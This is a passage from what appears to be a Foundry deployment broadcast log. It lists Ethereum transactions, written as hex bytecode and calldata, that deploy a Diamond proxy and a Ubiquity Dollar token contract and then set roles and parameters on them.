0e01b600052602160045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006001820162001361576200136162001336565b5060010190565b60008151808452620013828160208601602086016200102e565b601f01601f19169290920160200192915050565b60006060808301818452808751808352608092508286019150828160051b8701016020808b0160005b848110156200146b57898403607f19018652815180516001600160a01b031685528381015189860190600381106200140757634e487b7160e01b600052602160045260246000fd5b868601526040918201519186018a905281519081905290840190600090898701905b80831015620014555783516001600160e01b031916825292860192600192909201919086019062001429565b50978501979550505090820190600101620013bf565b50506001600160a01b038a169088015286810360408801526200148f818962001368565b9a9950505050505050505050565b81810381811115620014b357620014b362001336565b92915050565b60006001600160601b038281166002600160601b03198101620014e057620014e062001336565b6001019392505050565b60008251620014fe8184602087016200102e565b9190910192915050565b6001600160a01b03831681526040602082018190526000906200152e9083018462001368565b949350505050565b634e487b7160e01b600052603160045260246000fd5b60208152600062001561602083018462001368565b9392505050565b61022b80620015786000396000f3fe60806040526000807fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0061005360017fc8fcad8db84d3cc18b4c41d551ea0ee66dd599cde068d998e57d5e09332c131c6101b5565b600080357fffffffff000000000000000000000000000000000000000000000000000000001681529116602081905260409091205490925082915073ffffffffffffffffffffffffffffffffffffffff166004361015610114576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4469616d6f6e643a2053656c6563746f7220697320746f6f2073686f7274000060448201526064015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff8116610191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820181905260248201527f4469616d6f6e643a2046756e6374696f6e20646f6573206e6f74206578697374604482015260640161010b565b3660008037600080366000845af43d6000803e8080156101b0573d6000f35b3d6000fd5b818103818111156101ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b9291505056fea2646970667358221220f85fc07f2d35b24eaa0af26d3fd7ec2932df0ab65906b6f77e8f44c46edd70c564736f6c634300081300334c69624469616d6f6e644375743a205f696e6974206164647265737320686173206e6f20636f64654c69624469616d6f6e644375743a204164642066616365742063616e277420624c69624469616d6f6e644375743a204e657720666163657420686173206e6f20636f64654c69624469616d6f6e644375743a204e6f2073656c6563746f727320696e206600000000000000000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000000000000000000100000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000012fe22572873d18764df0c999b6c998bfab247fb000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000243cfffd39000000000000000000000000efc0e701a824943b469a694ac564aa1eff7ab7dd00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000002600000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000042000000000000000000000000000000000000000000000000000000000000009c00000000000000000000000000000000000000000000000000000000000000a80000000000000000000000000e17a61e55ccbc3d1e56b6a26ea1d4f8382a40ad9000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000009248a9ca3000000000000000000000000000000000000000000000000000000002f2ff15d0000000000000000000000000000000000000000000000000000000091d14854000000000000000000000000000000000000000000000000000000008456cb59000000000000000000000000000000000000000000000000000000005c975abb000000000000000000000000000000000000000000000000000000008bb9c5bf00000000000000000000000000000000000000000000000000000000d547741f000000000000000000000000000000000000000000000000000000001e4e0091000000000000000000000000000000000000000000000000000000003f4ba83a00000000000000000000000000000000000000000000000000000000000000000000000000000000d3c81bd07948a38546bca894f8bfecb5526137980000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000011f931c1c00000000000000000000000000000000000000000000000000000000000000000000000000000000d11b60c336a8416162272475ff9df572e516fc51000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000600000000000000000000000000000000000000000000000000000000000000005cdffacc60000000000000000000000000000000000000000000000000000000052ef6b2c00000000000000000000000000000000000000000000000000000000adfca15e000000000000000000000000000000000000000000000000000000007a0ed6270000000000000000000000000000000000000000000000000000000001ffc9a7000000000000000000000000000000000000000000000000000000000000000000000000000000000e9f3299b9443d3d5130771f26b7e18a2a7aa9db0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000291a47c90400000000000000000000000000000000000000000000000000000000421e108c0000000000000000000000000000000000000000000000000000000091df16d300000000000000000000000000000000000000000000000000000000b0bd67b4000000000000000000000000000000000000000000000000000000008b38ebb300000000000000000000000000000000000000000000000000000000ebef28a700000000000000000000000000000000000000000000000000000000017df32700000000000000000000000000000000000000000000000000000000fbff3a4100000000000000000000000000000000000000000000000000000000e0ee685500000000000000000000000000000000000000000000000000000000bc3ea01800000000000000000000000000000000000000000000000000000000a9b8b79600000000000000000000000000000000000000000000000000000000214f788200000000000000000000000000000000000000000000000000000000b42165d000000000000000000000000000000000000000000000000000000000221e2e600000000000000000000000000000000000000000000000000000000033c5aa5700000000000000000000000000000000000000000000000000000000c0030add00000000000000000000000000000000000000000000000000000000dd390ea000000000000000000000000000000000000000000000000000000000ba2d8cdd0000000000000000000000000000000000000000000000000000000093e4e9ee000000000000000000000000000000000000000000000000000000001a867af500000000000000000000000000000000000000000000000000000000f986cd5700000000000000000000000000000000000000000000000000000000f6f172cb0000000000000000000000000000000000000000000000000000000015f9739800000000000000000000000000000000000000000000000000000000e2d443bd00000000000000000000000000000000000000000000000000000000016afee700000000000000000000000000000000000000000000000000000000be1d86e10000000000000000000000000000000000000000000000000000000092324611000000000000000000000000000000000000000000000000000000001f7e8c7e000000000000000000000000000000000000000000000000000000001c1f8aa3000000000000000000000000000000000000000000000000000000000083faee00000000000000000000000000000000000000000000000000000000147f1b96000000000000000000000000000000000000000000000000000000006605bfda00000000000000000000000000000000000000000000000000000000826d5b8b00000000000000000000000000000000000000000000000000000000d3815fb900000000000000000000000000000000000000000000000000000000965cc7ac000000000000000000000000000000000000000000000000000000003535f48b00000000000000000000000000000000000000000000000000000000ad3401ed0000000000000000000000000000000000000000000000000000000036c3df2400000000000000000000000000000000000000000000000000000000c5f956af000000000000000000000000000000000000000000000000000000008fe6368300000000000000000000000000000000000000000000000000000000e8b734240000000000000000000000000000000000000000000000000000000000000000000000000000000058860e93b6fc7a6e4abd0f5d851a88654a34d0c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000028da5cb5b00000000000000000000000000000000000000000000000000000000f2fde38b00000000000000000000000000000000000000000000000000000000000000000000000000000000b64f2347752192f51930ad6ad3bea0b3a2074fac0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000202ed4d2d6000000000000000000000000000000000000000000000000000000007efc918f0000000000000000000000000000000000000000000000000000000081f17467000000000000000000000000000000000000000000000000000000009aae55a70000000000000000000000000000000000000000000000000000000082ae27cd00000000000000000000000000000000000000000000000000000000b4eae1cb000000000000000000000000000000000000000000000000000000009c494373000000000000000000000000000000000000000000000000000000009d202bf8000000000000000000000000000000000000000000000000000000009b52b9a80000000000000000000000000000000000000000000000000000000017b2bffa0000000000000000000000000000000000000000000000000000000087dcd5fb000000000000000000000000000000000000000000000000000000005b0bdd8a0000000000000000000000000000000000000000000000000000000092beb04200000000000000000000000000000000000000000000000000000000245cd973000000000000000000000000000000000000000000000000000000002287fe4000000000000000000000000000000000000000000000000000000000c4cb35cf00000000000000000000000000000000000000000000000000000000edecef95000000000000000000000000000000000000000000000000000000007e625a550000000000000000000000000000000000000000000000000000000030bbe58500000000000000000000000000000000000000000000000000000000de858d7c000000000000000000000000000000000000000000000000000000006060663e00000000000000000000000000000000000000000000000000000000a14d1f7800000000000000000000000000000000000000000000000000000000cec10c11000000000000000000000000000000000000000000000000000000009b94607c00000000000000000000000000000000000000000000000000000000ecfd1a9e000000000000000000000000000000000000000000000000000000007853c88800000000000000000000000000000000000000000000000000000000cbd4e7b4000000000000000000000000000000000000000000000000000000008106016300000000000000000000000000000000000000000000000000000000b98c9fe600000000000000000000000000000000000000000000000000000000aeaf4f0400000000000000000000000000000000000000000000000000000000040da68500000000000000000000000000000000000000000000000000000000edc8d27d00000000000000000000000000000000000000000000000000000000", + "nonce": "0x454", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x56be8eb80be13dc0436d0c942e8acc83862b112bfb0731b42ca6bf120054001b", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1c559", + "value": "0x0", + "input": "0x2f2ff15d2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "nonce": "0x455", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xacff54d7f5e37e2dfc5f3571b049b739d854cd8e794a2f800970c1f6fb9887df", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1c559", + "value": "0x0", + "input": "0x2f2ff15dd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0000000000000000000000000ed3084c98148e2528dadcb53c56352e549c488fa", + "nonce": "0x456", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x8b7c0241c36b5eeb6e8efd2045c7d973d8998316e13ba3fc7dc99b78d3b8ec34", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x9a1fb", + "value": "0x0", + "input": "0x7efc918f0000000000000000000000005f98805a4e8be255a32880fdec7f6728c6568ba0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000021e19e0c9bab2400000", + "nonce": "0x457", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xdb5488814de8a7f72a3170b7ef2a05b9a86ef6337764913dd43a3b6a53b7c4ab", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x1340b", + "value": "0x0", + "input": "0xaeaf4f040000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x458", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xcc2d6206a1dc7ec167dbc0f8f1f8f99432e5ce40055fc5ab11c4a471f4369a5f", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0xe44d", + "value": "0x0", + "input": "0xcec10c11000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + "nonce": "0x459", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x38f11c495a9932f57aededd4600e0814cbe503bae2fd2e9131ea2d462001a35c", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x12b51", + "value": "0x0", + "input": "0xcbd4e7b40000000000000000000000000000000000000000000000000000000000000002", + "nonce": "0x45a", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x243bebc21d94c75a0535bbd107b62ecf1f1cd3ebf01a97b5fb7ce59b5980a21d", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x19477", + "value": "0x0", + "input": "0x7853c88800000000000000000000000000000000000000000000000000000000000f695000000000000000000000000000000000000000000000000000000000000f1b30", + "nonce": "0x45b", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0xe786a6732987d10d4b0575a99b6246d6d86992c84eefc876fa3a4b61cfb1213c", + "transactionType": "CALL", + "contractName": "Diamond", + "contractAddress": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "to": "0xed3084c98148e2528dadcb53c56352e549c488fa", + "gas": "0x12bbc", + "value": "0x0", + "input": "0x6060663e00000000000000000000000000000000000000000000000000000000000e7ef0", + "nonce": "0x45c", + "chainId": "0x1" + }, + "additionalContracts": [], + "isFixedGasLimit": false + }, + { + "hash": "0x30db3b6f8445902510a739692dd04d981f8d860a5f1f8654e65371aee14d9114", + "transactionType": "CREATE", + "contractName": "UbiquityDollarToken", + "contractAddress": "0x7745a062c0a8aaefaa7e7df1e1aabbbafc988972", + "function": null, + "arguments": null, + "transaction": { + "from": "0xefc0e701a824943b469a694ac564aa1eff7ab7dd", + "gas": "0x3e01d7", + "value": "0x0", + "input": "0x60a0604052306080523480156200001557600080fd5b506200002062000030565b6200002a62000030565b620000f1565b600054610100900460ff16156200009d5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840160405180910390fd5b60005460ff90811614620000ef576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b60805161375962000129600039600081816106c70152818161076201528181610bc501528181610c5b0152610d8a01526137596000f3fe6080604052600436106101c25760003560e01c80635c975abb116100f7578063a457c2d711610095578063d0ebdbe711610064578063d0ebdbe714610512578063d500958414610532578063d505accf1461055e578063dd62ed3e1461057e57600080fd5b8063a457c2d714610492578063a9059cbb146104b2578063b84c8246146104d2578063c4d66de8146104f257600080fd5b80637ecebe00116100d15780637ecebe00146104205780638456cb591461044057806384b0196e1461045557806395d89b411461047d57600080fd5b80635c975abb146103a457806370a08231146103bd57806379cc67901461040057600080fd5b80633659cfe61161016457806340c10f191161013e57806340c10f191461033c57806342966c681461035c5780634f1ef2861461037c57806352d1902d1461038f57600080fd5b80633659cfe6146102e557806339509351146103075780633f4ba83a1461032757600080fd5b806318160ddd116101a057806318160ddd1461027557806323b872dd14610294578063313ce567146102b45780633644e515146102d057600080fd5b806306fdde03146101c7578063095ea7b3146101f257806313007d5514610222575b600080fd5b3480156101d357600080fd5b506101dc6105d1565b6040516101e991906130de565b60405180910390f35b3480156101fe57600080fd5b5061021261020d36600461311a565b610663565b60405190151581526020016101e9565b34801561022e57600080fd5b50610195546102509073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016101e9565b34801561028157600080fd5b506099545b6040519081526020016101e9565b3480156102a057600080fd5b506102126102af366004613144565b61067d565b3480156102c057600080fd5b50604051601281526020016101e9565b3480156102dc57600080fd5b506102866106a1565b3480156102f157600080fd5b50610305610300366004613180565b6106b0565b005b34801561031357600080fd5b5061021261032236600461311a565b610886565b34801561033357600080fd5b506103056108d2565b34801561034857600080fd5b5061030561035736600461311a565b6109e1565b34801561036857600080fd5b5061030561037736600461319b565b610b64565b61030561038a366004613277565b610bae565b34801561039b57600080fd5b50610286610d70565b3480156103b057600080fd5b506101305460ff16610212565b3480156103c957600080fd5b506102866103d8366004613180565b73ffffffffffffffffffffffffffffffffffffffff1660009081526097602052604090205490565b34801561040c57600080fd5b5061030561041b36600461311a565b610e42565b34801561042c57600080fd5b5061028661043b366004613180565b610fc8565b34801561044c57600080fd5b50610305610ff3565b34801561046157600080fd5b5061046a611100565b6040516101e997969594939291906132d9565b34801561048957600080fd5b506101dc6111c2565b34801561049e57600080fd5b506102126104ad36600461311a565b6111d2565b3480156104be57600080fd5b506102126104cd36600461311a565b611289565b3480156104de57600080fd5b506103056104ed366004613398565b611297565b3480156104fe57600080fd5b5061030561050d366004613180565b61138a565b34801561051e57600080fd5b5061030561052d366004613180565b61156f565b34801561053e57600080fd5b506101955473ffffffffffffffffffffffffffffffffffffffff16610250565b34801561056a57600080fd5b506103056105793660046133e1565b61169d565b34801561058a57600080fd5b50610286610599366004613454565b73ffffffffffffffffffffffffffffffffffffffff918216600090815260986020908152604080832093909416825291909152205490565b6060609a80546105e090613487565b80601f016020809104026020016040519081016040528092919081815260200182805461060c90613487565b80156106595780601f1061062e57610100808354040283529160200191610659565b820191906000526020600020905b81548152906001019060200180831161063c57829003601f168201915b5050505050905090565b600033610671818585611828565b60019150505b92915050565b60003361068b8582856119a7565b610696858585611a64565b506001949350505050565b60006106ab611a7c565b905090565b73ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001630036107605760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c000000000000000000000000000000000000000060648201526084015b60405180910390fd5b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff166107d57f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff161461085e5760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f787900000000000000000000000000000000000000006064820152608401610757565b61086781611a86565b6040805160008082526020820190925261088391839190611b6c565b50565b33600081815260986020908152604080832073ffffffffffffffffffffffffffffffffffffffff8716845290915281205490919061067190829086906108cd9087906134d4565b611828565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081527f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa158015610967573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098b919061350e565b6109d75760405162461bcd60e51b815260206004820152601960248201527f455243323055626971756974793a206e6f7420706175736572000000000000006044820152606401610757565b6109df611d37565b565b6101955473ffffffffffffffffffffffffffffffffffffffff166391d148547f2fa9c45d1262dc83e302ea747fa1a6189169018ef59e5bf5bff35c386ec653cd336040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b168152600481019290925273ffffffffffffffffffffffffffffffffffffffff166024820152604401602060405180830381865afa158015610a91573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ab5919061350e565b610b015760405162461bcd60e51b815260206004820152601860248201527f446f6c6c617220746f6b656e3a206e6f74206d696e74657200000000000000006044820152606401610757565b610b09611db5565b610b138282611e09565b604051818152339073ffffffffffffffffffffffffffffffffffffffff8416907fb1233017d63154bc561d57c16f7b6a55e2e1acd7fcac94045a9f35fb31a850ca9060200160405180910390a35050565b610b6c611db5565b610b763382611ef0565b60405181815233907f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe479060200160405180910390a250565b73ffffffffffffffffffffffffffffffffffffffff7f0000000000000000000000000000000000000000000000000000000000000000163003610c595760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f64656c656761746563616c6c00000000000000000000000000000000000000006064820152608401610757565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff16610cce7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5473ffffffffffffffffffffffffffffffffffffffff1690565b73ffffffffffffffffffffffffffffffffffffffff1614610d575760405162461bcd60e51b815260206004820152602c60248201527f46756e6374696f6e206d7573742062652063616c6c6564207468726f7567682060448201527f6163746976652070726f787900000000000000000000000000000000000000006064820152608401610757565b610d6082611a86565b610d6c82826001611b6c565b5050565b60003073ffffffffffffffffffffffffffffffffffffffff7f00000000000000000000000000000000000000000000000000000000000000001614610e1d5760405162461bcd60e51b815260206004820152603860248201527f555550535570677261646561626c653a206d757374206e6f742062652063616c60448201527f6c6564207468726f7567682064656c656761746563616c6c00000000000000006064820152608401610757565b507f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc90565b6101955473ffffffffffffffffffffffffffffffffffffffff166391d148547fd59228754c59506641ecd586d489c0e7d376eb0bc93b21e1c031933d8d48c3a0336040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b168152600481019290925273ffffffffffffffffffffffffffffffffffffffff166024820152604401602060405180830381865afa158015610ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f16919061350e565b610f625760405162461bcd60e51b815260206004820152601860248201527f446f6c6c617220746f6b656e3a206e6f74206275726e657200000000000000006044820152606401610757565b610f6a611db5565b610f748282611ef0565b8173ffffffffffffffffffffffffffffffffffffffff167f62626c8ae1f1f3ad3b2f42ba7b806bbc48e9a59dab06414984113eaab612fe4782604051610fbc91815260200190565b60405180910390a25050565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260fd6020526040812054610677565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081527f65d7a28e3265b37a6474929f336521b332c1681b933f6cb9f3376673440d862a600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa158015611088573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ac919061350e565b6110f85760405162461bcd60e51b815260206004820152601960248201527f455243323055626971756974793a206e6f7420706175736572000000000000006044820152606401610757565b6109df61208e565b60006060806000806000606060c9546000801b148015611120575060ca54155b61116c5760405162461bcd60e51b815260206004820152601560248201527f4549503731323a20556e696e697469616c697a656400000000000000000000006044820152606401610757565b6111746120ea565b61117c6120f9565b604080516000808252602082019092527f0f000000000000000000000000000000000000000000000000000000000000009b939a50919850469750309650945092509050565b606061019480546105e090613487565b33600081815260986020908152604080832073ffffffffffffffffffffffffffffffffffffffff871684529091528120549091908381101561127c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760448201527f207a65726f0000000000000000000000000000000000000000000000000000006064820152608401610757565b6106968286868403611828565b600033610671818585611a64565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081526000600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa15801561130d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611331919061350e565b61137d5760405162461bcd60e51b815260206004820152601860248201527f455243323055626971756974793a206e6f742061646d696e00000000000000006044820152606401610757565b610194610d6c828261357e565b600054610100900460ff16158080156113aa5750600054600160ff909116105b806113c45750303b1580156113c4575060005460ff166001145b6114365760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a65640000000000000000000000000000000000006064820152608401610757565b600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00166001179055801561149457600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff166101001790555b611509826040518060400160405280600f81526020017f556269717569747920446f6c6c617200000000000000000000000000000000008152506040518060400160405280600381526020017f7541440000000000000000000000000000000000000000000000000000000000815250612108565b8015610d6c57600080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff00ff169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081526000600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa1580156115e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611609919061350e565b6116555760405162461bcd60e51b815260206004820152601860248201527f455243323055626971756974793a206e6f742061646d696e00000000000000006044820152606401610757565b61019580547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b834211156116ed5760405162461bcd60e51b815260206004820152601d60248201527f45524332305065726d69743a206578706972656420646561646c696e650000006044820152606401610757565b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c988888861171c8c6121b2565b60408051602081019690965273ffffffffffffffffffffffffffffffffffffffff94851690860152929091166060840152608083015260a082015260c0810186905260e0016040516020818303038152906040528051906020012090506000611784826121e7565b905060006117948287878761222f565b90508973ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146118115760405162461bcd60e51b815260206004820152601e60248201527f45524332305065726d69743a20696e76616c6964207369676e617475726500006044820152606401610757565b61181c8a8a8a611828565b50505050505050505050565b73ffffffffffffffffffffffffffffffffffffffff83166118b05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f72657373000000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff82166119395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f73730000000000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff83811660008181526098602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8381166000908152609860209081526040808320938616835292905220547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114611a5e5781811015611a515760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610757565b611a5e8484848403611828565b50505050565b611a6c611db5565b611a77838383612259565b505050565b60006106ab61248c565b610195546040517f91d148540000000000000000000000000000000000000000000000000000000081526000600482015233602482015273ffffffffffffffffffffffffffffffffffffffff909116906391d1485490604401602060405180830381865afa158015611afc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b20919061350e565b6108835760405162461bcd60e51b815260206004820152601860248201527f455243323055626971756974793a206e6f742061646d696e00000000000000006044820152606401610757565b7f4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd91435460ff1615611b9f57611a7783612500565b8273ffffffffffffffffffffffffffffffffffffffff166352d1902d6040518163ffffffff1660e01b8152600401602060405180830381865afa925050508015611c24575060408051601f3d9081017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0168201909252611c2191810190613698565b60015b611c965760405162461bcd60e51b815260206004820152602e60248201527f45524331393637557067726164653a206e657720696d706c656d656e7461746960448201527f6f6e206973206e6f7420555550530000000000000000000000000000000000006064820152608401610757565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc8114611d2b5760405162461bcd60e51b815260206004820152602960248201527f45524331393637557067726164653a20756e737570706f727465642070726f7860448201527f6961626c655555494400000000000000000000000000000000000000000000006064820152608401610757565b50611a778383836125f0565b611d3f612615565b61013080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690557f5db9ee0a495bf2e6ff9c91a7834c1ba4fdd244a5e8aa4e537bd38aeae4b073aa335b60405173ffffffffffffffffffffffffffffffffffffffff909116815260200160405180910390a1565b6101305460ff16156109df5760405162461bcd60e51b815260206004820152601060248201527f5061757361626c653a20706175736564000000000000000000000000000000006044820152606401610757565b73ffffffffffffffffffffffffffffffffffffffff8216611e6c5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610757565b611e7860008383612668565b8060996000828254611e8a91906134d4565b909155505073ffffffffffffffffffffffffffffffffffffffff82166000818152609760209081526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff8216611f795760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360448201527f73000000000000000000000000000000000000000000000000000000000000006064820152608401610757565b611f8582600083612668565b73ffffffffffffffffffffffffffffffffffffffff8216600090815260976020526040902054818110156120215760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60448201527f63650000000000000000000000000000000000000000000000000000000000006064820152608401610757565b73ffffffffffffffffffffffffffffffffffffffff831660008181526097602090815260408083208686039055609980548790039055518581529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3505050565b612096611db5565b61013080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001660011790557f62e78cea01bee320cd4e420270b5ea74000d11b0c9f74754ebdbfc544b05a258611d8b3390565b606060cb80546105e090613487